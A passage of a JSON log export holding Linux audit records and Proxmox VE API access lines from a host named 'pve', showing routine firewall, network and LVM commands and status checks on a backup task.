msg=audit(1781965635.845:66444): arch=c000003e syscall=59 success=yes exit=0 a0=7ffda853dac0 a1=574bef4cb310 a2=574bef4c4680 a3=5 items=2 ppid=63813 pid=63814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.517:67562): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64884 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965061271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:40 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965885372,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.372:67521): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964275492,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.492:60319): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965635839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.839:66442): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.510:67561): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64883 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965061271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:40 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965059468&start=0&limit=510 HTTP/1.1\" 200 997"} {"@timestamp":1781965885365,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.365:67520): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964275485,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.485:60318): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965635830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.830:66441): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.503:67560): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965060070,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:39 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965059227&start=0&limit=510 HTTP/1.1\" 200 997"} {"@timestamp":1781965885359,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.359:67519): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964275478,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.478:60317): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965635821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.821:66440): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895498,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.498:67559): arch=c000003e syscall=59 success=yes exit=0 a0=61ecfc048b20 a1=61ecfc054a30 a2=61ecfc022680 a3=5 items=2 ppid=64875 pid=64881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965060070,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 758"} {"@timestamp":1781965885352,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.352:67518): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964274915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964274.915:60316): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965635813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.813:66439): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63810 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895495,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.495:67558): arch=c000003e syscall=59 success=yes exit=0 a0=61ecdedfaac8 a1=7ffc89e2d560 a2=61ecfc022680 a3=61ecdedde24e items=2 ppid=64875 pid=64877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965060070,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:39 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965885345,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.345:67517): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964274881,"@rawstring":"node=pve type=EXECVE msg=audit(1781964274.881:60315): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965635803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.803:66438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63809 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.494:67557): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc89e2d520 a1=61ecfc0441c0 a2=61ecfc022680 a3=5 items=2 ppid=64875 pid=64876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965060070,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:38 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965058234&start=0&limit=510 HTTP/1.1\" 200 911"} {"@timestamp":1781965885341,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.341:67516): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964273563,"@rawstring":"node=pve type=EXECVE msg=audit(1781964273.563:60314): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965635792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.792:66437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9890860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.489:67555): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965059071,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 781"} {"@timestamp":1781965885338,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.338:67515): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=EXECVE msg=audit(1781964273.550:60311): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965634960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965634.960:66436): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6f88cc0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.481:67554): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965059071,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965885337,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.337:67514): argc=1 a0=\"date\""} {"@timestamp":1781964268541,"@rawstring":"node=pve type=EXECVE msg=audit(1781964268.541:60308): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965634934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965634.934:66435): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be8d0 a1=64f8d73c3c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.474:67553): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965059071,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965885333,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.333:67512): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964268533,"@rawstring":"node=pve type=EXECVE msg=audit(1781964268.533:60305): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965633762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965633.762:66434): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.466:67552): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bd440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965059071,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:38 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965885324,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.324:67511): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964265466,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.466:60302): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965633751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965633.751:66431): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.458:67551): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965059071,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 480"} {"@timestamp":1781965885317,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.317:67510): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964265463,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.463:60301): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965628741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965628.741:66428): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.450:67550): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965059071,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:37 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965057225&start=0&limit=510 HTTP/1.1\" 200 911"} {"@timestamp":1781965885312,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.312:67509): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964265462,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.462:60300): argc=1 a0=\"date\""} {"@timestamp":1781965628732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965628.732:66425): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.777:67549): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b3810 a1=64f8d73dcfc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965058052,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965885303,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.303:67508): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964265459,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.459:60298): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965625779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.779:66422): arch=c000003e syscall=59 success=yes exit=0 a0=556536f37b20 a1=556536f43e00 a2=556536f11680 a3=5 items=2 ppid=63793 pid=63799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.751:67548): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c3cc0 a1=64f8d73af440 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965058052,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 779"} {"@timestamp":1781965885292,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.292:67507): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964265451,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.451:60297): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965625775,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.775:66421): arch=c000003e syscall=59 success=yes exit=0 a0=556527d64ac8 a1=7ffd8b4a1ae0 a2=556536f11680 a3=556527d4824e items=2 ppid=63793 pid=63795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.681:67547): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965058052,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:37 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965056464&start=0&limit=510 HTTP/1.1\" 200 911"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=EXECVE msg=audit(1781965884.649:67506): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265443,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.443:60296): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965625773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.773:66420): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8b4a1aa0 a1=556536f331c0 a2=556536f11680 a3=5 items=2 ppid=63793 pid=63794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.672:67544): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965058052,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:36 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965884.641:67503): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964265435,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.435:60295): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965625769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.769:66418): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965889.663:67541): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965058052,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:36 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965056231&start=0&limit=510 HTTP/1.1\" 200 911"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965884.641:67502): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265429,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.429:60294): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965625760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.760:66417): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965889.655:67538): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965056951,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 780"} {"@timestamp":1781965884604,"@rawstring":"node=pve type=EXECVE msg=audit(1781965884.604:67499): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964265423,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.423:60292): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965625751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.751:66416): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" 